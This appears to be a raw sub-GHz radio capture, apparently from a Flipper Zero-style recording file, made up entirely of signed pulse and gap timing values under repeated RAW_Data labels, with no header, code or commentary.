63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 199 -88 93 -104 115 -760 61 -202 -RAW_Data: 89 -830 67 -178 146 -500 61 -54 61 -324 53 -86 71 -199 75 -94 61 -64 53 -211 57 -128 73 -346 51 -140 112 -260 82 -820 53 -375 53 -171 79 -54 71 -409 53 -140 127 -124 61 -143 89 -117 87 -133 61 -91 65 -224 59 -407 57 -215 125 -82 53 -242 59 -579 104 -162 59 -412 61 -157 53 -205 121 -62 89 -168 98 -357 114 -110 75 -74 59 -140 61 -236 97 -360 57 -126 124 -362 95 -180 78 -376 105 -62 75 -62 96 -360 145 -612 103 -170 57 -240 67 -112 90 -383 75 -207 263 -173 65 -54 85 -162 89 -177 140 -186 113 -293 53 -139 157 -326 67 -197 67 -81 85 -106 63 -82 106 -517 115 -104 86 -96 73 -138 61 -110 106 -182 59 -554 77 -100 113 -108 79 -246 67 -331 61 -189 81 -180 53 -188 105 -163 80 -98 59 -251 166 -197 67 -84 51 -271 51 -509 59 -345 71 -80 89 -179 67 -427 89 -186 112 -381 158 -502 55 -335 55 -381 59 -301 95 -219 113 -62 79 -500 61 -270 100 -60 61 -205 89 -571 112 -144 75 -236 89 -259 111 -448 81 -710 225 -292 110 -127 51 -76 71 -701 75 -160 90 -279 88 -74 160 -166 83 -320 53 -153 71 -180 102 -423 89 -299 103 -400 105 -105 129 -74 155 -336 132 -275 77 -148 155 -66 53 -134 51 -148 262 -159 53 -72 179 -72 53 -125 192 -422 71 -212 63 -406 160 -60 1195 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 127 -64 63 -126 129 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -66 61 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 -128 127 -56 69 -126 129 -128 125 -128 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 127 -128 65 -62 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 63 -62 125 -130 63 -62 -RAW_Data: 125 -128 63 -64 125 -128 63 -64 61 -62 63 -64 125 -130 127 -56 69 -126 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 61 -128 129 -128 63 -62 125 -128 127 -128 55 -70 125 -64 402 -54 59 -310 85 -62 69 -696 72 -86 55 -402 204 -176 78 -247 121 -90 95 -94 53 -314 59 -151 65 -285 81 -115 61 -118 120 -227 71 -160 53 -197 53 -229 51 -1083 51 -168 90 -724 89 -523 149 -64 104 -122 63 -291 57 -92 162 -222 89 -339 98 -72 113 -68 63 -54 61 -154 89 -357 85 -92 97 -113 59 -96 67 -231 94 -321 55 -74 51 -118 95 -253 65 -335 89 -88 63 -76 81 -163 63 -71 63 -211 78 -155 71 -161 115 -337 69 -476 125 -294 55 -90 67 -296 121 -160 53 -677 53 -243 121 -380 71 -114 95 -62 131 -339 53 -235 51 -80 80 -282 178 -72 202 -194 73 -343 59 -276 63 -167 67 -90 67 -320 65 -54 119 -358 88 -232 81 -152 81 -199 105 -116 59 -297 51 -192 73 -129 150 -198 132 -118 61 -188 71 -630 75 -112 95 -138 75 -454 124 -143 87 -178 96 -126 65 -299 69 -624 170 -1008 69 -54 80 -182 182 -89 96 -111 55 -104 67 -864 81 -158 89 -166 75 -96 184 -64 89 -66 107 -538 87 -730 130 -62 59 -258 65 -254 63 -229 87 -344 80 -715 53 -329 51 -102 75 -68 51 -78 104 -274 63 -196 81 -60 174 -145 65 -157 115 -62 76 -178 51 -135 258 -108 96 -457 123 -270 157 -608 89 -218 187 -166 67 -149 69 -100 156 -248 51 -126 65 -485 138 -269 77 -120 61 -208 51 -120 53 -334 87 -98 75 -220 67 -125 87 -100 110 -74 205 -102 71 -112 55 -88 114 -81 61 -66 99 -168 87 -165 51 -290 103 -315 87 -260 88 -118 111 -250 136 -440 116 -212 240 -392 183 -88 59 -66 249 -243 63 -142 59 -62 171 -58 61 -105 106 -88 131 -326 144 -591 94 -174 81 -137 67 -124 288 -75 67 -138 142 -110 85 -206 61 -182 366 -98 91 -189 53 -110 143 -106 110 -194 86 -82 53 -107 79 -530 83 -353 77 -128 97 -106 205 -82 83 -106 167 -88 196 -74 91 -90 67 -192 73 -220 59 -141 238 -157 69 -72 193 -106 61 -152 92 -1094 97 -402 73 -232 53 -68 93 -223 88 -188 120 -350 61 -359 88 -125 63 -90 69 -565 89 -118 177 -52 59 -200 65 -293 120 -204 53 -234 134 -122 51 -189 91 -181 61 -303 63 -346 53 -240 170 -89 -RAW_Data: 219 -1175 61 -279 97 -143 73 -184 102 -64 79 -189 95 -360 81 -127 83 -258 77 -160 61 -214 55 -178 129 -342 79 -166 53 -134 103 -72 103 -120 73 -266 87 -115 99 -292 53 -185 71 -283 153 -136 53 -54 61 -90 77 -211 53 -263 87 -103 67 -278 151 -277 82 -459 71 -182 57 -160 57 -129 59 -114 113 -89 57 -76 51 -152 94 -52 59 -132 131 -126 79 -64 71 -169 59 -505 89 -278 63 -120 53 -127 75 -62 91 -284 53 -72 165 -463 53 -178 110 -160 84 -206 142 -105 51 -130 65 -134 136 -68 55 -132 69 -123 191 -485 53 -60 53 -60 57 -341 140 -436 81 -108 79 -266 146 -142 75 -114 89 -472 53 -188 95 -188 172 -176 57 -231 51 -84 57 -96 65 -122 55 -367 150 -420 51 -233 69 -179 65 -315 118 -140 73 -94 107 -612 59 -182 59 -152 67 -52 51 -150 51 -367 78 -170 61 -98 95 -245 121 -152 160 -236 213 -165 123 -250 70 -360 65 -164 53 -183 847 -56 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 59 -148 170 -157 53 -68 63 -108 85 -203 51 -417 65 -162 71 -58 61 -126 146 -310 107 -213 53 -127 65 -107 53 -351 160 -308 122 -144 178 -526 142 -158 95 -52 61 -78 77 -328 99 -84 53 -82 59 -148 77 -301 73 -98 168 -277 117 -134 245 -161 71 -134 53 -362 53 -152 115 -162 53 -54 53 -182 53 -570 61 -209 79 -386 51 -120 67 -210 127 -52 67 -430 123 -276 71 -419 107 -244 89 -185 160 -118 67 -308 83 -94 67 -60 59 -861 63 -224 53 -90 53 -409 119 -535 71 -691 176 -160 184 -151 89 -146 89 -154 51 -134 61 -237 71 -218 79 -1059 59 -129 53 -108 104 -72 71 -94 1462 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 125 -66 61 -128 127 -64 63 -126 63 -62 63 -64 61 -64 63 -62 63 -64 127 -64 63 -64 61 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 129 -56 69 -126 127 -128 127 -128 55 -62 131 -64 63 -64 61 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -62 63 -64 61 -64 63 -64 127 -128 63 -62 127 -64 61 -128 127 -128 127 -56 69 -62 61 -128 63 -64 63 -62 127 -64 63 -62 63 -128 127 -128 63 -64 125 -64 61 -128 63 -62 127 -64 63 -62 63 -126 129 -64 61 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -126 129 -64 61 -126 65 -62 61 -64 127 -64 373 -98 115 -101 57 -73 107 -257 106 -394 92 -68 111 -150 65 -348 153 -1462 57 -103 145 -223 79 -74 61 -259 51 -520 67 -341 65 -252 95 -475 139 -412 83 -378 79 -256 88 -98 79 -98 51 -265 59 -182 69 -64 55 -76 127 -239 53 -684 99 -124 51 -472 135 -98 110 -54 51 -60 59 -66 59 -128 63 -148 67 -60 53 -118 62 -595 69 -379 133 -205 77 -66 83 -143 84 -52 -RAW_Data: 53 -355 85 -224 69 -132 97 -383 105 -94 89 -172 51 -253 61 -92 51 -351 406 -165 59 -58 156 -250 71 -238 77 -278 141 -164 79 -84 97 -80 63 -80 53 -64 136 -106 203 -88 140 -76 202 -390 97 -119 119 -68 432 -82 79 -102 79 -100 96 -64 214 -312 204 -930 85 -158 139 -112 223 -484 90 -250 53 -72 53 -52 69 -54 131 -54 71 -222 63 -101 195 -301 78 -222 271 -60 137 -467 63 -108 51 -192 51 -110 111 -244 53 -431 61 -138 61 -58 132 -257 53 -180 59 -306 63 -320 105 -359 193 -374 63 -262 289 -122 107 -136 177 -54 61 -552 123 -116 65 -76 69 -181 61 -200 107 -140 86 -260 100 -486 114 -639 65 -347 63 -166 51 -80 193 -54 138 -140 59 -186 63 -277 71 -268 109 -255 162 -90 67 -198 53 -154 75 -165 96 -54 51 -88 95 -999 53 -72 77 -261 87 -86 53 -150 51 -82 81 -349 87 -156 331 -113 51 -167 97 -202 63 -1427 265 -959 53 -259 153 -205 133 -558 117 -253 63 -144 83 -76 124 -62 98 -138 81 -86 89 -204 85 -512 126 -348 51 -103 75 -189 105 -72 53 -116 61 -160 81 -142 112 -300 75 -369 91 -95 61 -309 107 -70 140 -436 86 -866 169 -84 59 -173 111 -60 91 -166 105 -200 53 -758 59 -197 79 -384 65 -146 63 -560 135 -548 97 -302 99 -713 65 -334 127 -60 51 -541 63 -196 81 -241 63 -112 279 -280 53 -382 71 -62 53 -78 53 -551 141 -543 63 -384 124 -508 137 -106 197 -98 77 -209 103 -309 101 -420 73 -149 65 -268 59 -84 81 -76 63 -453 53 -465 121 -609 91 -168 59 -213 88 -116 71 -54 53 -285 53 -644 53 -134 113 -896 67 -60 115 -377 90 -279 94 -68 170 -236 67 -60 146 -74 167 -179 95 -738 63 -124 94 -162 59 -169 124 -156 81 -321 53 -399 51 -124 105 -70 106 -80 81 -230 51 -196 196 -270 59 -209 63 -288 69 -331 87 -115 162 -260 105 -455 111 -100 206 -82 57 -162 71 -80 51 -212 51 -60 311 -70 65 -108 85 -104 63 -72 61 -54 137 -103 59 -60 209 -175 256 -131 123 -88 77 -220 192 -68 310 -133 162 -170 59 -81 129 -80 306 -60 133 -89 61 -113 119 -54 284 -108 61 -54 81 -92 53 -72 51 -116 212 -52 189 -97 118 -83 83 -74 53 -181 132 -215 152 -316 53 -90 75 -52 118 -92 158 -318 115 -288 108 -109 132 -72 310 -106 59 -112 170 -90 473 -72 102 -54 220 -68 308 -122 89 -108 332 -68 575 -113 118 -160 109 -92 164 -54 -RAW_Data: 247 -95 59 -64 57 -74 67 -216 99 -238 71 -125 189 -149 515 -100 57 -145 53 -52 127 -151 102 -133 256 -137 293 -217 179 -54 79 -72 155 -70 107 -54 186 -481 63 -54 53 -88 97 -114 65 -201 105 -121 220 -148 69 -72 174 -141 95 -54 53 -165 76 -365 85 -178 77 -200 55 -231 77 -72 147 -64 61 -54 53 -219 195 -115 67 -88 81 -112 75 -155 115 -295 116 -108 95 -161 80 -134 202 -52 78 -268 65 -126 57 -101 67 -268 105 -214 108 -586 59 -1128 92 -64 110 -66 53 -127 51 -513 55 -84 65 -83 57 -671 53 -82 105 -52 75 -381 51 -178 55 -246 135 -66 88 -297 61 -223 110 -76 103 -152 71 -130 59 -143 55 -102 104 -52 105 -194 73 -68 75 -204 105 -189 78 -585 124 -130 89 -219 51 -405 59 -302 59 -580 107 -72 150 -441 83 -68 71 -472 81 -68 85 -130 51 -193 97 -347 125 -148 69 -529 166 -62 67 -161 59 -128 63 -134 53 -117 53 -108 106 -463 83 -221 77 -125 65 -54 57 -236 65 -210 67 -120 114 -54 75 -260 59 -162 97 -146 61 -64 70 -118 61 -469 59 -290 143 -351 51 -144 61 -114 61 -68 133 -174 84 -54 125 -72 124 -138 69 -222 96 -335 162 -251 61 -88 67 -162 71 -132 88 -123 51 -319 109 -333 69 -136 63 -130 95 -269 85 -545 53 -122 81 -704 55 -290 128 -508 145 -358 97 -64 55 -243 157 -1161 111 -191 61 -176 113 -440 88 -229 942 -56 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 -RAW_Data: 106 -294 92 -78 87 -52 53 -156 51 -285 53 -216 160 -378 110 -711 59 -92 133 -134 135 -314 57 -452 123 -714 63 -102 51 -177 53 -255 53 -126 71 -718 108 -82 57 -672 79 -383 51 -416 51 -260 53 -72 61 -287 53 -383 88 -70 104 -203 65 -76 133 -646 65 -54 97 -512 135 -889 71 -366 113 -72 77 -257 118 -378 79 -118 51 -399 126 -66 157 -66 74 -632 71 -107 53 -133 1499 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 127 -66 61 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 63 -64 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 127 -128 127 -118 135 -56 69 -126 127 -128 127 -126 55 -70 125 -64 63 -62 63 -64 61 -64 63 -128 127 -64 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -128 129 -64 61 -64 61 -128 63 -64 125 -130 63 -62 61 -64 125 -130 63 -62 61 -64 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 127 -128 63 -62 125 -66 61 -128 127 -128 127 -56 69 -62 61 -128 63 -64 61 -64 127 -64 63 -62 63 -128 127 -128 63 -62 125 -64 63 -128 63 -62 127 -64 61 -64 61 -128 129 -64 61 -62 63 -64 61 -64 63 -128 127 -64 63 -126 127 -64 63 -62 61 -128 127 -130 127 -54 257 -291 96 -327 82 -167 71 -132 68 -164 53 -295 104 -260 57 -460 51 -493 63 -294 61 -102 115 -150 71 -765 117 -126 116 -243 53 -453 63 -333 167 -480 51 -186 106 -855 55 -204 87 -54 142 -508 59 -202 91 -311 127 -204 69 -414 89 -162 99 -54 59 -148 203 -281 53 -193 51 -171 71 -316 149 -335 83 -96 59 -172 59 -214 109 -92 53 -56 79 -173 59 -84 130 -94 51 -377 95 -104 53 -198 83 -319 69 -214 71 -223 55 -222 113 -72 87 -166 76 -72 53 -140 79 -571 53 -1017 100 -54 61 -106 170 -130 80 -405 57 -237 123 -128 75 -54 146 -389 55 -231 144 -54 75 -324 53 -133 87 -108 78 -124 55 -336 -RAW_Data: 109 -451 77 -131 195 -409 81 -133 82 -415 61 -72 93 -246 75 -167 183 -128 75 -1218 53 -386 134 -295 105 -390 68 -243 78 -108 51 -60 63 -302 61 -156 59 -821 140 -68 59 -364 59 -106 105 -150 81 -130 71 -189 121 -433 131 -281 142 -577 77 -126 79 -169 67 -353 63 -580 51 -136 53 -106 137 -257 59 -318 67 -134 111 -358 59 -400 119 -506 53 -459 135 -346 51 -148 67 -344 93 -350 53 -300 169 -70 92 -388 59 -186 73 -72 67 -248 51 -229 71 -198 95 -126 106 -212 71 -269 100 -64 97 -277 285 -179 159 -643 224 -192 63 -284 135 -200 149 -335 130 -178 67 -185 79 -132 69 -105 133 -138 123 -62 107 -284 95 -254 170 -192 59 -89 71 -126 161 -54 270 -74 133 -70 338 -224 389 -123 133 -52 53 -58 89 -88 71 -70 51 -66 97 -323 387 -150 195 -83 150 -107 79 -82 115 -162 426 -150 183 -185 200 -173 109 -131 79 -68 139 -146 160 -351 57 -181 63 -117 224 -178 242 -154 79 -54 75 -106 59 -60 59 -70 148 -309 169 -104 168 -121 85 -202 107 -60 79 -122 67 -64 177 -62 261 -150 100 -199 202 -326 65 -189 89 -96 118 -115 99 -112 51 -65 85 -188 57 -173 65 -116 107 -399 61 -181 176 -196 110 -311 159 -231 132 -154 105 -252 77 -536 112 -127 173 -251 91 -283 147 -226 77 -114 188 -54 89 -54 161 -104 69 -191 101 -52 55 -249 180 -240 53 -400 84 -231 140 -296 127 -180 75 -72 139 -282 87 -184 77 -176 65 -262 134 -214 57 -151 96 -244 77 -154 96 -62 83 -270 59 -607 69 -148 59 -470 200 -88 97 -820 103 -342 110 -211 63 -151 95 -100 138 -146 63 -56 71 -194 53 -822 128 -338 59 -221 115 -353 51 -160 61 -182 113 -192 53 -205 83 -110 53 -472 51 -95 101 -234 59 -275 84 -134 89 -172 67 -506 65 -132 125 -58 59 -86 89 -428 79 -88 77 -292 97 -352 77 -80 146 -269 83 -78 77 -56 107 -362 173 -297 85 -112 88 -210 115 -126 63 -62 69 -68 61 -292 103 -122 53 -86 55 -128 128 -106 132 -563 79 -164 83 -274 87 -178 69 -143 53 -54 67 -376 180 -949 89 -96 105 -234 71 -62 61 -320 76 -125 53 -715 89 -467 83 -80 118 -72 53 -64 73 -169 61 -117 81 -150 61 -162 116 -300 231 -160 59 -58 59 -201 53 -110 77 -451 135 -54 59 -358 55 -288 124 -369 143 -82 53 -294 101 -274 125 -395 65 -481 67 -90 101 -62 53 -106 251 -426 77 -85 168 -193 85 -96 103 -214 -RAW_Data: 83 -78 59 -214 73 -124 120 -386 95 -178 77 -92 104 -577 55 -419 160 -80 151 -114 81 -169 104 -398 59 -466 103 -253 61 -184 168 -136 59 -197 113 -296 118 -1065 105 -142 59 -290 95 -566 73 -95 132 -496 81 -383 96 -151 173 -142 240 -160 88 -318 196 -96 53 -222 71 -231 110 -128 53 -60 63 -722 113 -216 71 -781 61 -233 53 -54 148 -459 53 -260 94 -418 53 -247 71 -691 59 -459 71 -225 219 -52 73 -179 51 -157 67 -709 85 -195 95 -153 71 -255 57 -220 190 -197 118 -54 135 -646 71 -105 92 -452 69 -320 111 -190 53 -132 53 -54 155 -96 88 -329 71 -498 65 -182 81 -85 172 -116 67 -879 57 -199 67 -661 106 -170 97 -545 63 -52 63 -340 73 -696 98 -261 95 -546 51 -248 53 -676 129 -371 63 -287 65 -154 81 -176 93 -683 59 -102 86 -462 71 -211 51 -286 115 -64 133 -651 75 -101 132 -88 857 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 191 -58 117 -128 160 -217 93 -62 101 -87 165 -137 81 -96 61 -90 97 -110 63 -197 107 -195 115 -543 61 -355 77 -587 53 -258 108 -56 53 -322 89 -60 93 -332 85 -311 85 -58 97 -131 73 -102 59 -217 87 -104 214 -121 53 -52 67 -216 51 -272 53 -295 292 -355 85 -90 78 -356 69 -76 193 -125 61 -189 65 -328 111 -496 159 -838 150 -72 89 -162 110 -60 57 -416 67 -350 76 -432 59 -130 71 -399 118 -94 89 -90 69 -173 53 -90 95 -88 89 -113 63 -535 71 -197 131 -144 71 -212 87 -135 57 -241 91 -108 65 -253 53 -106 89 -130 117 -697 71 -481 223 -64 128 -176 67 -691 63 -217 101 -232 67 -154 89 -234 121 -188 125 -72 125 -474 223 -439 104 -238 91 -579 77 -225 160 -348 75 -60 79 -199 53 -1249 79 -276 61 -185 123 -320 53 -80 63 -72 123 -267 53 -153 59 -170 114 -274 65 -833 103 -233 88 -1229 59 -134 51 -896 81 -193 92 -322 53 -120 55 -370 129 -89 87 -138 89 -291 89 -554 154 -253 148 -68 71 -191 59 -223 101 -379 65 -66 101 -367 51 -198 67 -205 73 -295 116 -98 95 -194 53 -366 118 -649 145 -394 69 -684 105 -130 73 -76 159 -84 59 -128 79 -96 53 -561 67 -357 98 -462 61 -195 227 -126 69 -145 53 -256 72 -790 113 -532 141 -110 85 -103 67 -70 67 -125 1195 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -62 63 -62 63 -64 61 -64 127 -130 63 -62 61 -64 127 -128 127 -56 69 -126 129 -126 129 -118 63 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 63 -62 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -128 63 -62 127 -128 63 -64 61 -62 127 -128 65 -62 61 -64 61 -64 127 -128 63 -64 -RAW_Data: 61 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -64 63 -62 127 -130 127 -126 57 -70 61 -62 127 -128 127 -128 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 55 -70 61 -62 127 -64 63 -128 127 -128 127 -126 55 -64 67 -64 61 -64 63 -64 127 -128 63 -64 125 -64 63 -126 63 -64 125 -64 63 -62 63 -128 63 -64 125 -128 307 -173 51 -78 79 -234 65 -609 59 -426 51 -318 97 -106 124 -265 113 -76 63 -269 125 -215 89 -52 51 -704 74 -220 107 -487 53 -354 51 -308 73 -254 153 -86 91 -52 53 -368 59 -307 70 -179 112 -325 73 -52 97 -96 97 -52 63 -60 53 -108 55 -108 178 -134 75 -80 75 -52 97 -64 79 -234 53 -259 81 -1019 256 -136 61 -157 130 -64 123 -58 73 -188 123 -260 53 -462 123 -151 59 -60 124 -140 157 -146 83 -340 71 -182 69 -110 57 -54 69 -114 73 -60 73 -205 159 -94 164 -97 96 -234 96 -107 51 -345 83 -88 103 -732 71 -392 57 -54 98 -276 61 -62 77 -410 61 -202 71 -490 83 -367 53 -256 84 -54 149 -126 53 -172 59 -88 64 -316 88 -162 61 -156 51 -331 59 -296 81 -108 113 -166 53 -90 153 -871 77 -797 79 -120 126 -52 149 -108 53 -228 81 -112 83 -110 59 -130 53 -146 67 -481 176 -276 173 -716 53 -97 143 -210 59 -88 229 -306 61 -410 51 -163 128 -220 172 -120 81 -328 136 -465 57 -94 71 -251 53 -594 177 -874 83 -232 74 -247 95 -406 71 -450 125 -187 75 -165 59 -206 89 -257 51 -82 63 -142 75 -619 53 -143 53 -226 61 -98 70 -233 81 -118 81 -354 61 -82 225 -230 65 -60 135 -107 106 -256 87 -186 61 -184 103 -96 67 -84 99 -162 89 -134 109 -62 63 -90 61 -83 61 -86 53 -118 134 -68 91 -106 132 -68 57 -537 61 -156 97 -93 338 -164 113 -78 146 -58 179 -230 124 -159 173 -315 142 -62 181 -311 123 -150 124 -351 99 -90 143 -205 65 -136 53 -156 71 -242 77 -101 77 -162 149 -140 59 -238 137 -68 89 -60 119 -407 139 -488 114 -68 115 -106 95 -178 53 -114 67 -296 67 -264 90 -192 148 -104 82 -108 59 -495 69 -145 109 -385 68 -162 53 -155 117 -126 67 -138 75 -72 53 -259 51 -533 53 -338 55 -175 89 